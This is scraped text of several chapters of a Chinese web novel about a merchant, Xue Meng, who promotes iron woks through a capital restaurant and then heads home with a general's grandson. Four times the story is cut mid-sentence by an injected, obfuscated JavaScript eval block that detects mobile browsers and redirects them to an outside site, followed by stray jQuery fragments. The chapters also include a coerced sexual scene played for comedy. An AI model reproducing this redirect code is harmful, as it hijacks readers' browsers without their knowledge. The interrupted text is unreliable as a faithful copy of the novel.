贵的根本不是铁锅,而是技术!
紫云郡主是个聪明人,自然也明白这一点,所以才会这么痛快的成交!
“郡主,相识一场,皆是缘分!”
薛猛缓缓起身,语气轻描淡写:“第一批铁锅已经在路上了!”
“最迟三天后就会送到京城!”
“十八口铁锅,我可以免费给会仙楼使用,分文不取!”
“什么?!”
薛猛此言一出,在场十几双眼睛全都充满错愕。
裴红玉一怔,心说这家伙又抽什么风?
之前不是说好了,五百两一口锅,少一分都不行的吗?
怎么现在又分文不取了?
紫云郡主也有些摸不清薛猛的路数了。
她本来打算把薛猛的铁锅先弄到手,再暗中找匠人破解铁锅的制造方法,所以也不介意薛猛开五百两的高价。
但没想到,薛猛现在居然说要免费把铁锅给会仙楼使用!
这反倒弄得她有些过意不去了。
紫云郡主皱眉问道:“这铁锅乃精铁所铸,本钱不小,派人从蜀郡运到京城,一路上打尖住店、走马乘船都要花钱,还要担心响马劫掠。”
“你免费给我们使用,不怕亏本吗?”
正所谓无奸不商!
会仙楼招待八方来客,紫云郡主身为会仙楼少东家,见过不少外地富商!
但还从来没见过薛猛这样,做“亏本”买卖的人!
“郡主,我话还没说完呢!”
薛猛咧嘴笑道:“铁锅,我可以免费提供给你们使用!”
“但是,我要在会仙楼大堂,建立明厨亮灶,让客人能够看见铁锅做菜全过程!”
紫云郡主闻言一怔,略一思索,顿时恍然大悟:“你是想借我会仙楼的名气,把铁锅推向整个大虞市场?”
薛猛轻笑点头:“不愧是郡主,聪明!”
会仙楼客流量极大,食客中不乏文人、豪商、权贵、官吏,甚至外邦人士到大虞来,也是首选会仙楼住店吃饭。
之前进京给皇太后贺寿的那些封疆大吏、外邦使节,在宴会开始前,也都是在会仙楼下榻!
这也是为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313055|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么薛猛大费周章,选择会仙楼作为卖锅的切入口!
他的目的可不仅仅是卖锅,而是为了借会仙楼的势!
一旦让那些客人看见了铁锅做菜的过程,品尝到了炒菜的味道,他们必然会被铁锅所吸引,从而产生购买需求!
尤其是那些外地行商,他们不住在京城,无法每日到会仙楼吃饭,想吃炒菜就必须卖锅回去自己做!
不出半年,铁锅炒菜的名气,就会经由会仙楼的食客们,传遍大江南北。
到那时,大虞餐饮界必将掀起一股铁锅狂潮!
“当然,我不会让你们会仙楼白吆喝,每卖掉一口铁锅,会仙楼可以分得一部分佣金!”
“并且,我这第一批铁锅并不完美。”
“今后,我会持续改良,制造出更具优势的铁锅!”
“若会仙楼愿意跟我合作,我可以每年免费给你们提供改良后的新锅,保证会仙楼永远走在大虞餐饮界的前沿!”
当其他人还在努力消化薛猛说的这些话是什么意思。
紫云郡主却是眼前一亮,当场拍了板!
“成交!”
“薛掌柜,你真是个经商的天才!”
“本郡主算是服了!”
“来人!笔墨伺候,本郡主要和薛掌柜签契书!”
很快,店里伙计呈上纸笔、印泥。
紫云郡主当即挥毫,写下契书,用了印。
薛猛拿起契书看了看,确定无误,也在契书上摁上了手印。
契书一式两份,紫云郡主和薛猛各执一份。
交易就此达成。
双方皆大欢喜。
薛猛看着契书,不由感叹。
这紫云郡主,不愧是会仙楼少东家,脑子就是转得快。
作为一个古人,居然能够这么快领会他的意思,并且抓住其中的商机,当机立断拍办合作。
商业嗅觉之敏锐,决断力之强,堪称恐怖!
就算放在前世,估计也是个富豪榜上有名的女强人!
紫云郡主看着契书,也是心中暗喜。
薛猛借会仙楼的名气和背景卖锅打开大虞市场。
而会仙楼则可以借薛猛提供的新版铁锅和炒菜技法,巩固餐饮界龙头地位。
达成强强合作,双赢的局面!
紫云郡主暗道侥幸,幸好自己先前留住了薛猛,若是让薛猛转头去找别的酒楼合作,会仙楼的龙头地位恐怕就难保了!
毕竟京城有背景的酒楼,可不止会仙楼一家!
谁跟薛猛合作,谁就能制霸大虞餐饮界!
“合作愉快!”
收下契书,薛猛和紫云郡主相视一笑。
“他们俩到底在乐什么啊。”
“我怎么一句话都听不懂。”
裴红玉傻眼了。
会仙楼的厨子也全都蒙了。
他们完全跟不上薛猛和紫云郡主的节奏。
搞不懂这俩人怎么说着说着就签了契书。
第92章 大老婆想我了
月影西斜,夜色渐浓。
喧闹的会仙楼逐渐归于沉寂。
只有那些权贵富商留宿的豪华客房里,时不时传出婉转如夜莺的啼叫声。
送走湘儿和赵鹰的车队后,薛猛带着寇芳、裴红玉,回到了紫云郡主给他们安排的客房。
“薛猛,你该不会是看上那紫云郡主了吧?”
“每年免费给她提供铁锅!咱们不是亏了吗?”
裴红玉始终想不通,薛猛这么做到底图什么。
十八口铁锅,那可是价值九千两白银!
薛猛居然白送!
“你呀,就是胸大无脑!我告诉你,免费的才是最贵的!”
薛猛眯眼道:“我跟紫云郡主达成了双赢合作,我给会仙楼免费提供最新版的铁锅,而咱们的铁锅则由会仙楼经销。”
“会仙楼有背景,有名气,铁锅由他们对外出售,价格可以卖得更高,销路更广!”
“不出半年,铁锅就能借助会仙楼这个跳板,彻底推向大江南北!”
“到那时,咱们只管坐着收钱就行了!”
“这叫做以小博大!区区十八口铁锅,算得了什么?”
听了薛猛的解释,裴红玉感觉自己头痒痒的,好像要长脑子了,但还是有点云里雾里,弄不太懂。
让她杀土匪没问题,但对于经商一道,她实在是一窍不通。
而寇芳则是彻底听明白了,心里对薛猛是愈加佩服!
恩公那十八口铁锅看似免费,实则是和会仙楼深度绑定了。
换取了比金钱更贵重的东西!
铁锅这种稀罕宝贝,聪明人都能看出它的商业价值。
若是没有背景靠山,就靠他们这些村民自己去卖,很容易被别人压价!
甚至,还会有心怀不轨之人看中其中的利益,动歪心思。
而会仙楼背靠庆王府,没人敢打他们的歪主意,也不会还价。
恩公这一招以小博大,实在是高明!
“算啦算啦,反正你契书都签了,我说什么都没用了。”
裴红玉揉了揉肚子:“明天再给我弄些红烧肉吃,姑奶奶得意这口儿!”
薛猛瞥了眼裴红玉圆滚滚的肚子,忍不住吐槽:“还吃呢,你看你,都胖成什么样了!”
裴红玉哼了一声:“我才不胖,我只是胃袋大!”
“……”
薛猛满头黑线,拿裴红玉也是没辙。
炒菜虽然好吃,但吃太多,很容易让人发胖!
因为炒菜比蒸、煮、炖、凉拌这些烹饪方式的用油量更大,而且因为炒菜特别下饭,很容易刺激食欲,让人不知不觉吃进去更多碳水。
裴红玉本来就肉乎乎的,再这么让她胡吃海塞下去,怕不是真得变成大胃袋良子。
吱嘎一声。
推开客房房门,寇芳傻了眼:“恩公,就一张床,怎么睡啊?”
薛猛进了屋,环顾四周,房间里还真是只有一张床。
裴红玉抱着胳膊,嘟囔道:“这紫云郡主怎么回事,我们明明是三个人,她为啥只给我们安排一个房间?”
寇芳想到了一种可能性,顿时红了脸。
或许,紫云郡主是把裴姑娘和自己,当成了恩公的妻妾吧!
当然,这话她可不敢说出口。
裴红玉扭身要走:“我去找郡主,让她再多安排两间房间!”
薛猛伸手拽住裴红玉:“算了吧,这么晚了,就别去打搅人家了!”
“我打地铺,你和寇芳睡床上,总行了吧?”
寇芳急道:“那怎么行?恩公,你睡床上,我打地铺!”
裴红玉噘嘴道:“我反正不打地铺!”
说完,径直往床上一躺。
因为个头太大,一个人就把床全占了!
“算了,寇芳,咱俩打地铺吧。”
薛猛拿这个**也是没办法,只能和寇芳从柜子里拿出被褥打地铺。
“嗯啊啊……”
刚睡下,月光从窗外倾泄进来,屋里亮得跟白天一样。
隐约听见隔壁客房里传来几声啊啊哦哦的叫唤。
薛猛禁欲也快小半个月了。
得不到林雅娴和徐瑾儿的温情抚慰。
实在是难受!
现在听到隔壁的动静,更是心里像猫抓一样。
寇芳也听见了隔壁的声音,脸红得能滴出血,把头埋在被窝里,心脏怦怦直跳。
裴红玉在床上翻了个身,把枕头蒙在脸上,捂住耳朵。
“啊啊……哦哦!”
本以为很快就能结束。
没想到,隔壁的声音越来越大了!
不光是隔壁,楼上、楼下也都响了起来。
几个灾舅子好像在比赛一样,一个比一个动静大!
“岂有此理!”
裴红玉忍无可忍,从床上蹦了起来。
薛猛还以为她要去隔壁**,刚准备劝阻,没想到裴红玉居然是冲着他来的!
“你干嘛?”
“**!”
裴红玉一把揪住薛猛的衣领,仗着一股子蛮力,直接把薛猛扛上肩头。
回到床边,把薛猛往床上一扔。
就开始脱衣服。
“别……别……别过来!”
薛猛满脸惊恐,像个被恶霸欺负的小媳妇儿一样,直往后退。
裴红玉面无表情,光着膀子,摁住薛猛,一把撕开他的衣服。
腰一沉,直接就往薛猛身上坐!
“雅蠛蝶!”
“啊……红玉,饶了我吧,我受不了!”
薛猛满脸生无可恋。
拼命挣扎,想要把压在身上的肉坨子推开。
奈何裴红玉就像一座山一样,压得那叫一个瓷实,任凭薛猛怎么挣扎,都无济于事!!
砰砰砰!
裴红玉压薛猛,薛猛压床,床压地,地动山摇。
“啊啊啊啊!”
薛猛痛苦的惨叫,划破夜空,响遏行云,盖过了所有客房的动静!
顿时之间,整个会仙楼都安静了。
“哈哈!好受!痛快!”
“你小子可以啊!这次居然坚持这么久!”
“姑奶奶要跟你大战三百回合!”
“不要哇……我会死的!”
听见薛猛卑微的求饶和裴红玉放荡的狂笑,寇芳躲在被窝里瑟瑟发抖,小脸通红,下意识夹紧了双腿。
翌日。
薛猛脸色惨白,双目空洞,在寇芳的搀扶下,方才勉强下了床。
而裴红玉则是神清气爽,坐在梳妆台前,用红绳绑头发。
脸色白里透红,气色那叫一个好。
并且罕见地哼起了小曲儿,看起来心情很好。
“薛猛,昨晚你表现不错,姑奶奶很满意。”
“以后你就是姑奶奶的心肝宝贝儿,姑奶奶罩着你!”
“只要有我在,谁都不许欺负你!”
薛猛嗓子都喊哑了,欲哭无泪:“那我还得谢谢你呗?”
看见裴红玉那身肌肉,就害怕。
这个牲口!
得亏她是个女人,要是个男人,绝对是个采花大盗!
偏偏自己还弄不过她。
寇芳心里好生羡慕裴红玉。
她也想像裴红玉那样敢爱敢恨,说干就干。
可惜,终究还是不敢迈出那一步!
只能默默地把心里的那份悸动,藏在心中。
“薛大哥!”
“铁锅俺给你送来了!”
就在这时,门外响起罗飞的大嗓门。
薛猛一怔,这么快?
数日前,他就已经写信寄回卧虎村,让罗飞带队送五十口铁锅进京!
本以为至少还要三五天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313056|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才能到,没想到罗飞脚程这么快,今天就到了!
打开房门。
门外站着罗飞,还有投掷队的十名队员。
队员们的衣服上,都沾染着血迹。
副队长韩龙的左臂上还用白布包扎着伤口。
薛猛眉头一皱:“怎么回事?”
罗飞摸了摸头,满脸无所谓:“害,没什么!路上遇上一伙响马,想劫我们的货。”
“不过都已经被我们干掉了!”
“韩龙兄弟受了点轻伤,其他人都没什么大碍!”
薛猛拍了拍投掷队众兄弟的肩膀,欣慰道:“好样的!!兄弟们都是好样的!这次大家都辛苦了,每人赏二十两银子,去京城里好好逛逛吧!”
“二十两?!”
投掷队众人闻言,眼圈都泛红了,只觉这一路的辛苦都值了!
二十两银子,相当于许多农户一家子两三年的积蓄!
罗飞也是怔住了,虽然知道这次送货,薛猛肯定不会亏待他们。
但没想到,居然给这么多!
薛猛很清楚,从洪雅县到京城,这一路上有多辛苦。
那可是冒着生命危险在送货!
二十两不算多了。
十个人,也才二百两。
一口铁锅,就能卖五百两。
五十口铁锅,就是二万五千两!
除却制造铁锅的成本,利润也在上万两以上!
贤妃赏的金子,薛猛已经存入了钱庄,身上留的现银不多。
让寇芳拿着银票,带投掷队众人去钱庄取赏银。
投掷队众人都激动坏了。
众人走后,薛猛让罗飞进了屋,给他倒了杯茶:“罗飞,家里还好吧?”
“好着呢!哦对了……嫂子还给你寄了封信!”
罗飞从怀里摸出一封信,递给薛猛。
“雅娴会写信了?”
薛猛一惊,以前家里条件不好,林雅娴并没有受过什么教育。
村里的学堂夜校办起来后,她每晚忙完鱼胶坊的事情,都会带着鱼胶坊的妇人们一起去学习读书写字。
这才短短一个月不到,就会写信了?
薛猛连忙接过信,拆开看了起来。
字算不上好看,歪歪扭扭的,但一字一句都是那么的情真意切,朴实动人。
“长根儿,我的字不好看,想写信给你。瑾儿妹子说帮我写,但我想了想,还是决定自己写。”
“徐伯和茅仪先生,教得很好,我已经认识不少字了。”
“你离家在外,要好好照顾自己,家里有我,你不用担心。”
“办完事情,早些归家,我养了一只大鹅,等你回来杀给你吃。”
“我又给你做了套衣服,用的是咱们自己的纺织坊织出的布,也不知道合不合身。”
“长根儿,你早些回来吧……”
薛猛看信的时候,罗飞则打量起客房里的陈设,满脸惊奇:“薛大哥,我到你信里写的驿馆去找你,驿馆的人说你搬进了会仙楼!”
“这会仙楼可真气派,这住一晚得花不少银子吧?”
裴红玉哼道:“非但一分钱不花,会仙楼还要倒给薛猛三百两俸钱呢!”
罗飞惊诧:“有这等好事?”
“那可不,薛猛现在是会仙楼的特聘大厨,连会仙楼那些名厨,都要尊薛猛为师,跟他学习炒菜技法!”
“薛大哥可真厉害!”
“果然有本事的人,走到哪儿都饿不着!”
罗飞对薛猛愈发佩服。
薛猛看完林雅娴寄来的家信,鼻子一酸。
信里只字未提想念,也没有什么肉麻的情话,更无文采可言,却满是妻子对丈夫的思念之意。
大老婆这是想我了呀!
看来我得赶快把铁锅的事情办完,早点回家!
第93章 将门痴儿秦义
当天下午,薛猛便正式开始向会仙楼众人传授铁锅使用方法。
会仙楼为此闭门歇业三天,足见对此事的重视。
“铁锅使用之前,需要开锅!”
“用大火把锅烧透烧红,再用猪油润一遍,这就叫做开锅!”
“这么做的目的,是为了避免铁锅生锈,延长使用寿命……”
薛猛的声音回荡在会仙楼后厨。
十八名掌勺名厨聚精会神,专心跟着薛猛学习使用铁锅。
一口口漆黑的铁锅,经过开锅后,变得油光镫亮。
不得不承认,这些名厨不愧是名厨,学习能力就是快。
有了铁锅进行实操,他们很快就掌握了开锅技巧。
“好,接下来,咱们学习炒法!”
薛猛让人把每口铁锅里倒上半锅沙子。
让大家炒沙子,逐渐掌握炒菜的手感!
会仙楼这十八个掌勺大厨,本来就是举国闻名的名厨,对厨艺一道造诣颇深。
炒菜并不算难。
短短三日,他们全部掌握了铁锅炒菜技法。
并且结合他们原本的厨艺,研发出了各种铁锅菜系,煎、炒、炖、炸,一通百通。
薛猛一一试了试口味,同样的一口铁锅,每个厨子做出的菜味道都不一样。
算是各有千秋,可以精准满足各个阶层客户的需求!
而且经过这些名厨的精心创意和摆盘,炒菜也变得莫名高端起来!
他们使用的食材,也都特别名贵!
“不愧是专业的,这味道我这辈子都炒不出来!”
薛猛尝了一口王巍的京酱炒驼峰丝,不由赞叹。
得到薛猛认可,王巍汗颜:“多亏了薛师傅的铁锅!”
“不然我王巍这辈子,都不可能做出这道菜!”
薛猛接连又品尝了其他大厨的菜品,均给出了高度评价。
倒不是商业互吹,而是真的好吃!
鲁帮大厨的葱烧海参、九转大肠!
川帮大厨的鱼香肉丝、荔枝腰花!
岭南大厨的糖醋咕咾肉、上汤焗龙虾!
浙帮大厨的龙井虾仁、湘帮大厨的血浆鸭、徽帮大厨的烧臭鳜鱼!
黔帮大厨的酸汤肉片炒蕨菜!
关东大厨的铁锅炖大鹅!
自从有了铁锅后,十八个大厨仿佛打通了任督二脉,结合自己原本的特长,创造出不少新菜。
好吃的太多了,天天试菜,裴红玉都跟着吃胖了好几斤。
“薛主厨,尝尝我的!”
切菜小胖子牛唐,端着自己炒的菜,屁颠屁颠凑了上来。
原本,他一个切菜的墩子,是没有资格学习炒菜的。
但薛猛看这小子不错,就破格同意他跟着学习,其他人也不好多说什么。
这几天,牛唐也是拼了命的学习炒菜,他知道,这种改变命运的机会,等薛猛走后,可能再也不会有了!
若是能够得到薛猛的认可,以后他就不用再当墩子了。
薛猛夹起牛唐盘子里的炒鳝丝,鳝丝切得细而不断,分外齐整,足见刀工之深厚。
尝了一口,口味鲜香微甜,江南风味十足,薛猛顿时眼前一亮:“嗯,不错!”
其他厨子也都拿起筷子,尝了尝牛唐的菜,纷纷点头。
“行啊,你小子有点天赋!以后就别当墩子吧,上灶吧!”
“先跟着洪师傅学淮扬菜!”
“前途大大滴有哇!”
“……”
紫云郡主品尝了新菜后,亦是大喜:“太好啦!有了这些铁锅新菜!咱们会仙楼的生意必将更上一层楼!”
三天后,新菜品调试完毕,会仙楼重新开业。
各种铁锅菜系一经推出,顿时好评如潮!
会仙楼生意愈发火爆,名流权贵争相品尝新菜。
不到半个月,铁锅炒菜便火遍京城。
不少权贵望族,都想订购铁锅,让家厨学习炒菜。
期间,还发生一件趣事。
说是景丰皇帝和贤贵妃乔装打扮,偷摸出宫,在外面游玩了一天,晚间到会仙楼用膳。
品尝了总厨王巍的京酱炒驼峰丝后,惊为天人,直接钦点王巍为御厨!
还让御膳房立即引进铁锅!
总厨王巍被御膳房挖走后,会仙楼急需首席大厨坐镇。
曾经毫不起眼的墩子牛唐,迅速成长了起来,依靠过人的刀工,惊人的天赋,成为了会仙楼新的顶梁柱。
不出半年,铁锅炒菜的名气经由会仙楼的食客们,口口相传,传遍大江南北。
各地望族豪强,纷纷以家中有铁锅为荣,争相抢购铁锅。
但因为铁锅产量有限,供不应求。
会仙楼只能通过拍卖会的形式出售铁锅,价高者得!
原价五百两的铁锅,硬生生被炒到了上千两!
一时间,铁锅成了继青铜鼎之后,又一地位身份象征,非钟鸣鼎食之家,用不起铁锅!
各地匠造局,眼红其中巨大利益,想要仿造铁锅,均以失败告终。
铁锅价格日益走高!
但那些权贵富豪,抓破脑袋也想不到,百金难求的铁锅,竟是出自一个名不见经传的小山村!
当然,铁锅火遍大江南北,这都是后话了。
会仙楼重新开业不久,薛猛心里想念家里大老婆,就向紫云郡主辞别,决定离开京城。
会仙楼上上下下,全都舍不得薛猛。
奈何薛猛执意要走。
紫云郡主挽留薛猛不成,只好大摆宴席,为薛猛践行。
并送了薛猛诸多盘缠,和一辆马车赶路。
离别之日,目送薛猛的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313057|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马车消失在街道尽头,会仙楼众人,皆是挥泪惜别。
尤其是小胖子牛唐,哭成了泪人。
可以说,薛猛的出现,改变了他的命运!
虽然大家与薛猛的相处时间不长,但从薛猛平日的谈吐,大家就能感受到,他是一个不凡之人!
薛猛经常说一些他们从来没听过的词汇和知识。
跟薛猛待在一起,一点都不会沉闷!
总能从他身上,学习到许多新奇的东西!
“薛郎真是个奇男子呀!”
想起这些天跟薛猛在一起的日子,目送薛猛离去,紫云郡主亦是黯然神伤,怅然若失。
也不知道,今日一别,何时才能再见了!
“对了,跑堂的听着!回头遇到外邦客人,记得问问,他们知不知道薛郎说的辣椒和大蒜!”
“薛郎说了,若能引进这两样东西,加入菜中,会更有滋味!”
……
“你这个办法,真的能赚到更多钱吗?”
坐在马车车厢里,裴红玉还是觉得可惜。
白送会仙楼十八口铁锅。
九千两银子就这么白白丢了!
薛猛深意一笑:“种子已经播下,静待发芽即可!”
九千两算什么?
铁锅一旦卖爆!
那可是几十万,甚至上百万两的大生意!
“现在我们要做的,是赶快回村,积蓄实力!”
“早日扩建铁艺坊!”
薛猛打算建造一个铁锅工厂,利用水力代替人力,加快生产效率。
否则,一旦铁锅卖爆,订单必然激增。
仅仅靠老白头他们几个人用人力打铁,根本接不住这波大生意!
“吁!”
薛猛正盘算着未来的商业计划,却听赶车的寇芳一声轻叱,勒缰驻马。
马车急停了下来。
因为惯性,裴红玉和薛猛身子向前倾去。
“寇芳,出什么事了?”
薛猛稳住身形,皱眉问道。
寇芳回道:“恩公,前面有人拦路!”
薛猛掀开帘子,跳下马车,只见拦车的人不是别人,正是当朝左将军秦雄。
秦雄身边,还站着一个约莫十五六岁,高颧骨,刀条脸,有点轻微斗鸡眼,眉宇间透着一股子楞劲儿的小矮子。
“薛小兄弟,多日不见,老夫又来叨扰了!听说你要离开京城,老夫带上孙子,特来给你送别!”
秦雄冲薛猛和蔼一笑,随即用胳膊肘戳了戳身旁的小矮子:“秦义,别愣着,快叫先生!”
小矮子用斗鸡眼上下打量了薛猛几眼,一摆手,结结巴巴道:“爷,爷爷,他,不行!小白脸一个,一看就,不咋滴!”
“武状元王林,都都都,不是我的对手!他……他算哪根葱,配做我的先生?”
第94章 薛猛龙相初显
“嗯?!”
秦雄狮眼一瞪,沉哼一声,小矮子脖子一缩,顿时不敢再说话了。
“你懂个屁!薛小兄弟乃当世奇人!做你的先生,绰绰有余!”
听了秦雄这话,薛猛挑眉道:“秦老将军,你这是何意?”
秦雄对薛猛赔笑道:“薛小兄弟,老夫三个儿子全都战死沙场,家中只剩下这个孙子。”
“本来指望他能成材,不成想此子生性愚顽,喜欢与人比武,好勇斗狠,在京城整日惹是生非。”
“老夫想让他拜你为师,跟着你去乡下历练历练,磨磨他这性子!”
薛猛看了看跟个二傻子一样的秦义,可不想摊上这烫手山芋,连忙苦笑婉拒道:“秦老将军,小公子仪表不凡,又是将门虎子,将来必成大器。”
“区区在下,不过一介乡野村夫,何德何能,配做小公子的先生?”
秦义连忙点头:“嗯,对对对,你,还算有,自知之明!”
啪的一声,秦雄一巴掌拍在秦义脑门上,泼口骂道:“竖子!给我把嘴闭上!!”
“薛小兄弟,老夫这孙子是什么货色,老夫心知肚明。”
秦雄一抬手,身后仆从赶着一辆无厢马车上前,车上有一口箱子。
“箱子里有三百两银子,权当是管教费!”
“薛小兄弟,只有你肯收下这个竖子,以后每个月,老夫都会派人给你送银子来。”
“这厮愚顽,若他不服管教,你只管打骂便是!”
说着,秦雄把一块镔铁戒尺,递到了薛猛手边,眼中充满了信任和期望。
薛猛正想开口拒绝。
却不料,一只玉手突然伸出,替薛猛接过了戒尺。
“每月三百两银子,这买卖可以啊!”
“行,秦老将军,把你孙子交给我们吧!”
“姑奶奶……哦不,小女子肯定会替你管教好他的!”
薛猛循声扭头,看向不知道什么时候下车的裴红玉,嘴角一抽。
这娘们儿真虎啊!
啥活儿都敢接!
这秦义典型一个二愣子,把他带回卧虎村,得闹出多少乱子啊!
“嘿,嘿,大,大姐姐!”
秦义仰望着拿着戒尺的裴红玉,顿时乐了。
“行!爷,爷爷,我,跟姐姐走!”
秦义跟个猴子一样,直接钻进了薛猛的马车,还笑着冲裴红玉招手:“姐,姐姐,上车,咱们走!”
薛猛无奈一叹。
“行吧,秦老将军,你孙子就交给我们吧!”
“不过我可有言在先,若是他实在不服管教,我可得把他送回来!”
“行行行,没问题!”
见薛猛终于收下了秦义,秦雄乐得合不拢嘴。
“驾!”
薛猛和裴红玉回到马车车厢,寇芳挥舞马鞭,赶着马车扬长而去。
“老爷,小少爷从来没有离开过京城,让他去乡下,万一遇到危险怎么办?”
目送马车远去,仆从不免担忧:“而且,听说蜀郡正闹洪灾呢,滋生出不少土匪拦路劫道,可不太平。”
秦雄闻言,哭笑不得:“你还怕他遇到危险?他不成为别人的危险,就算谢天谢地了。”
“哎,总算把这龟孙子送走了!”
“老夫能睡个安稳觉了!”
送走秦义后,秦雄就好像除掉了心头大患一样,顿时轻松百倍。
“走,去会仙楼!”
“今天老夫高低得点上几个铁锅炒菜,好好庆祝庆祝!”
……
“大,大姐姐,我叫秦义,你叫什么?”
马车驶出京城,到了郊外,路面开始颠簸起来。
秦义望着波涛汹涌的裴红玉,斗鸡眼更加严重了。
嘴巴大张,哈喇子流一地。
裴红玉把玩着手里的镔铁戒尺,勾唇一笑:“我叫姑奶奶,你以后就叫我姑奶奶吧!”
“行,姑,姑奶奶!”
秦义傻乎乎地当了真,还真叫上了。
裴红玉咯咯一笑,这傻子,真好玩儿!
“哎!”
薛猛叹了口气,确诊了,这秦义纯粹二愣子一个。
本心倒是不坏,倒是没有那些纨绔子弟**的臭毛病。
裴红玉一把搂住了薛猛的脖子,想再逗逗秦义:“你知道他是谁吗?”
秦义看了看薛猛:“不知道。”
裴红玉咯咯一笑,红唇在薛猛脸上吧唧一下亲了一口:“这是你姑爷爷!以后哇,你就管他叫姑爷爷吧!”
“啊?”
秦义斗鸡眼一瞪,顿时不乐意了:“他,他凭什么做姑爷爷!”
秦义冲薛猛伸手道:“我不服!我,我要跟你掰手腕子!”
“输了,你当孙子,我当爷爷!”
薛猛扶额摇头。
懒得搭理秦义。
裴红玉撸起袖子,把手肘往装银子的箱子上一放,冲秦义道:“想跟你姑爷爷掰手腕子,得先过姑奶奶这一关!来,让姑奶奶试试你的斤两!”
秦义摇头:“不,不行!姑奶奶,你,你是女人!我爷说,好男不跟女斗!赢你也是胜之不武!”
薛猛闻言,无奈苦笑,说他是傻子,他还会成语呢!
“你该不会是不敢跟我掰吧?怕跟女人掰输了丢人?”
裴红玉激将道。
秦义本就是个二愣子,哪里经得起激将,当即来了脾气:“我不敢?哼,我,什么都敢!”
“废话少说,让我看看你到底要几斤几两!”
“行!姑奶奶,咱们可说好!你要是输了,别,哭鼻子!”
秦义气鼓鼓的,来到箱子前,伸出了左臂。
裴红玉冲薛猛喊道:“薛猛,你来当裁判!”
路途遥远,本就枯燥。
裴红玉要逗傻子玩儿,薛猛无奈,也只好奉陪:“行,我数三个数,数到三你们就开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313058|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
裴红玉和秦义手掌相握,做好了准备姿势。
二人手掌刚一接触,都能清楚感受到对方绝非等闲之辈,四目相对,顿时认真了起来。
“一!”
“二!”
“三!”
“开始!”
薛猛话落。
秦义一咬牙,骤然发力。
裴红玉柳眉轻皱,也是用上了二成力。
“嘿呀!掰不动?!”
秦义斗鸡眼一瞪,先是吃了一惊,随即肉眼可见地兴奋了起来:“姑奶奶,你,比武状元王林,有力气!”
“那我,可要用三成力了!”
秦义蹬腿拧腰,加大了力道。
裴红玉也暗自用上了三成力,手腕子始终纹丝不动。
“啊?怎,怎么还是掰不动?”
秦义这下笑不出来了。
“哼!我,不可能输!”
秦义梗着脖子,再次加大力道。
裴红玉银牙一咬,也是陡然增力抵抗。
二人一次次加大力道,僵持不下,势均力敌。
裴红玉额角垂下一滴珠汗,一向风轻云淡的冷漠俏脸上,有了些许紧张惊愕之色。
手臂肌肉都拉丝了。
而秦义面部表情更是夸张,嘴巴快要咧到了耳根子,面皮憋得涨红如血,仿佛掰个手腕子,脸都在跟着用力!
薛猛虎目一怔。
原本以为只是闹着玩,没想到两个人动上了真格!
僵持了得有七八分钟,二人的手臂都开始轻微摇晃颤抖。
显然快要力竭了。
但两个人谁都不想低头认输!
全都咬牙硬撑着!
刺啦!
一声裂帛之声响起,秦义的衣袖开裂,精瘦黝黑的胳膊上青筋暴起,肌肉扭转,宛若铁索。
而裴红玉光着的膀子,雪白如藕,肌肉充血,手臂比秦义粗了两倍不止。
到了这个地步,秦义早就已经忘记了裴红玉是个女人!
面目狰狞,把吃奶的劲儿使出来了!
裴红玉也是罕见地用出了全力!
“行了,都给我住手!”
二人再斗下去,无非就是两败俱伤的下场。
其他的暂且不说,首先骨头都受不了!
两只铁手,同时抓住了秦义和裴红玉的手腕。
一股巨力袭来,硬生生将他们的手给掰开了!
秦义和裴红玉皆是一惊,随即同时扭头看向掰开他们手腕的薛猛。
一束阳光从窗外射入,车厢里烟尘缭绕,车轮辘辘之声不断在耳畔响起。
薛猛剑眉倒竖,因为逆光而坐,眼窝深陷于阴影之中,身周折射出淡淡的紫色弧光。
头角峥嵘,龙相尽显,不怒自威。
秦义不服输的斗鸡眼,瞬间清澈了。
裴红玉也是冰眸一怔,呼吸急促。
恍惚间,他们仿佛看见了真龙!
薛猛的话,便似圣旨,令人不得不从!
第95章 紫微帝星闪耀
